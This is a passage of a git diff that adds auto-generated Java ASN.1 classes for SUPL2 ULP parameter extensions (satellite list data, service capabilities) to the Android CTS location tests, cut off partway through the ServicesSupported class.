+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SatellitesListRelatedData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SatellitesListRelatedData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatellitesListRelatedData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatellitesListRelatedData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatellitesListRelatedData != null) {
+ return ImmutableList.of(TAG_SatellitesListRelatedData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatellitesListRelatedData from encoded stream.
+ */
+ public static SatellitesListRelatedData fromPerUnaligned(byte[] encodedBytes) {
+ SatellitesListRelatedData result = new SatellitesListRelatedData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatellitesListRelatedData from encoded stream.
+ */
+ public static SatellitesListRelatedData fromPerAligned(byte[] encodedBytes) {
+ SatellitesListRelatedData result = new SatellitesListRelatedData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatellitesListRelatedData.satIdType satId_;
+ public SatellitesListRelatedData.satIdType getSatId() {
+ return satId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatellitesListRelatedData.satIdType
+ */
+ public void setSatId(Asn1Object value) {
+ this.satId_ = (SatellitesListRelatedData.satIdType) value;
+ }
+ public SatellitesListRelatedData.satIdType setSatIdToNewInstance() {
+ satId_ = new SatellitesListRelatedData.satIdType();
+ return satId_;
+ }
+
+ private SatellitesListRelatedData.iodType iod_;
+ public SatellitesListRelatedData.iodType getIod() {
+ return iod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatellitesListRelatedData.iodType
+ */
+ public void setIod(Asn1Object value) {
+ this.iod_ = (SatellitesListRelatedData.iodType) value;
+ }
+ public SatellitesListRelatedData.iodType setIodToNewInstance() {
+ iod_ = new SatellitesListRelatedData.iodType();
+ return iod_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatId();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatellitesListRelatedData.satIdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satId : "
+ + getSatId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIod();
+ }
+
+ @Override public void setToNewInstance() {
+ setIodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatellitesListRelatedData.iodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iod : "
+ + getIod().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class satIdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_satIdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public satIdType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_satIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_satIdType != null) {
+ return ImmutableList.of(TAG_satIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new satIdType from encoded stream.
+ */
+ public static satIdType fromPerUnaligned(byte[] encodedBytes) {
+ satIdType result = new satIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new satIdType from encoded stream.
+ */
+ public static satIdType fromPerAligned(byte[] encodedBytes) {
+ satIdType result = new satIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "satIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodType != null) {
+ return ImmutableList.of(TAG_iodType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerUnaligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodType from encoded stream.
+ */
+ public static iodType fromPerAligned(byte[] encodedBytes) {
+ iodType result = new iodType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SatellitesListRelatedData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
new file mode 100755
index 0000000..5db9623
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedDataList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SatellitesListRelatedDataList
+ extends Asn1SequenceOf<SatellitesListRelatedData> {
+ //
+
+ private static final Asn1Tag TAG_SatellitesListRelatedDataList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SatellitesListRelatedDataList() {
+ super();
+ setMinSize(0);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatellitesListRelatedDataList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatellitesListRelatedDataList != null) {
+ return ImmutableList.of(TAG_SatellitesListRelatedDataList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SatellitesListRelatedDataList from encoded stream.
+ */
+ public static SatellitesListRelatedDataList fromPerUnaligned(byte[] encodedBytes) {
+ SatellitesListRelatedDataList result = new SatellitesListRelatedDataList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatellitesListRelatedDataList from encoded stream.
+ */
+ public static SatellitesListRelatedDataList fromPerAligned(byte[] encodedBytes) {
+ SatellitesListRelatedDataList result = new SatellitesListRelatedDataList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SatellitesListRelatedData createAndAddValue() {
+ SatellitesListRelatedData value = new SatellitesListRelatedData();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SatellitesListRelatedDataList = [\n");
+ final String internalIndent = indent + " ";
+ for (SatellitesListRelatedData value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
new file mode 100755
index 0000000..ce5ea21
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServiceCapabilities.java
@@ -0,0 +1,405 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ReportingCap;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ServiceCapabilities extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ServiceCapabilities
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ServiceCapabilities() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ServiceCapabilities;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ServiceCapabilities != null) {
+ return ImmutableList.of(TAG_ServiceCapabilities);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ServiceCapabilities from encoded stream.
+ */
+ public static ServiceCapabilities fromPerUnaligned(byte[] encodedBytes) {
+ ServiceCapabilities result = new ServiceCapabilities();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ServiceCapabilities from encoded stream.
+ */
+ public static ServiceCapabilities fromPerAligned(byte[] encodedBytes) {
+ ServiceCapabilities result = new ServiceCapabilities();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ServicesSupported servicesSupported_;
+ public ServicesSupported getServicesSupported() {
+ return servicesSupported_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ServicesSupported
+ */
+ public void setServicesSupported(Asn1Object value) {
+ this.servicesSupported_ = (ServicesSupported) value;
+ }
+ public ServicesSupported setServicesSupportedToNewInstance() {
+ servicesSupported_ = new ServicesSupported();
+ return servicesSupported_;
+ }
+
+ private ReportingCap reportingCapabilities_;
+ public ReportingCap getReportingCapabilities() {
+ return reportingCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCap
+ */
+ public void setReportingCapabilities(Asn1Object value) {
+ this.reportingCapabilities_ = (ReportingCap) value;
+ }
+ public ReportingCap setReportingCapabilitiesToNewInstance() {
+ reportingCapabilities_ = new ReportingCap();
+ return reportingCapabilities_;
+ }
+
+ private EventTriggerCapabilities eventTriggerCapabilities_;
+ public EventTriggerCapabilities getEventTriggerCapabilities() {
+ return eventTriggerCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EventTriggerCapabilities
+ */
+ public void setEventTriggerCapabilities(Asn1Object value) {
+ this.eventTriggerCapabilities_ = (EventTriggerCapabilities) value;
+ }
+ public EventTriggerCapabilities setEventTriggerCapabilitiesToNewInstance() {
+ eventTriggerCapabilities_ = new EventTriggerCapabilities();
+ return eventTriggerCapabilities_;
+ }
+
+ private SessionCapabilities sessionCapabilities_;
+ public SessionCapabilities getSessionCapabilities() {
+ return sessionCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SessionCapabilities
+ */
+ public void setSessionCapabilities(Asn1Object value) {
+ this.sessionCapabilities_ = (SessionCapabilities) value;
+ }
+ public SessionCapabilities setSessionCapabilitiesToNewInstance() {
+ sessionCapabilities_ = new SessionCapabilities();
+ return sessionCapabilities_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getServicesSupported() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getServicesSupported();
+ }
+
+ @Override public void setToNewInstance() {
+ setServicesSupportedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ServicesSupported.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "servicesSupported : "
+ + getServicesSupported().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportingCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportingCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportingCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCap.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportingCapabilities : "
+ + getReportingCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEventTriggerCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEventTriggerCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setEventTriggerCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EventTriggerCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eventTriggerCapabilities : "
+ + getEventTriggerCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SessionCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionCapabilities : "
+ + getSessionCapabilities().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ServiceCapabilities = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
new file mode 100755
index 0000000..4b4c10f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ServicesSupported.java
@@ -0,0 +1,443 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ServicesSupported extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ServicesSupported
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ServicesSupported() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ServicesSupported;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ServicesSupported != null) {
+ return ImmutableList.of(TAG_ServicesSupported);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ServicesSupported from encoded stream.
+ */
+ public static ServicesSupported fromPerUnaligned(byte[] encodedBytes) {
+ ServicesSupported result = new ServicesSupported();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ServicesSupported from encoded stream.
+ */
+ public static ServicesSupported fromPerAligned(byte[] encodedBytes) {
+ ServicesSupported result = new ServicesSupported();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ServicesSupported.periodicTriggerType periodicTrigger_;
+ public ServicesSupported.periodicTriggerType getPeriodicTrigger() {
+ return periodicTrigger_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ServicesSupported.periodicTriggerType
+ */
+ public void setPeriodicTrigger(Asn1Object value) {
+ this.periodicTrigger_ = (ServicesSupported.periodicTriggerType) value;
+ }
+ public ServicesSupported.periodicTriggerType setPeriodicTriggerToNewInstance() {
+ periodicTrigger_ = new ServicesSupported.periodicTriggerType();
+ return periodicTrigger_;
+ }
+
+ private ServicesSupported.areaEventTriggerType areaEventTrigger_;
+ public ServicesSupported.areaEventTriggerType getAreaEventTrigger() {
+ return areaEventTrigger_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ServicesSupported.areaEventTriggerType
+ */
+ public void setAreaEventTrigger(Asn1Object value) {
+ this.areaEventTrigger_ = (ServicesSupported.areaEventTriggerType) value;
+ }
+ public ServicesSupported.areaEventTriggerType setAreaEventTriggerToNewInstance() {
+ areaEventTrigger_ = new ServicesSupported.areaEventTriggerType();
+ return areaEventTrigger_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPeriodicTrigger() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPeriodicTrigger();
+ }
+
+ @Override public void setToNewInstance() {
+ setPeriodicTriggerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ServicesSupported.periodicTriggerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "periodicTrigger : "
+ + getPeriodicTrigger().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAreaEventTrigger() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAreaEventTrigger();
+ }
+
+ @Override public void setToNewInstance() {
+ setAreaEventTriggerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ServicesSupported.areaEventTriggerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "areaEventTrigger : "
+ + getAreaEventTrigger().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class periodicTriggerType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_periodicTriggerType
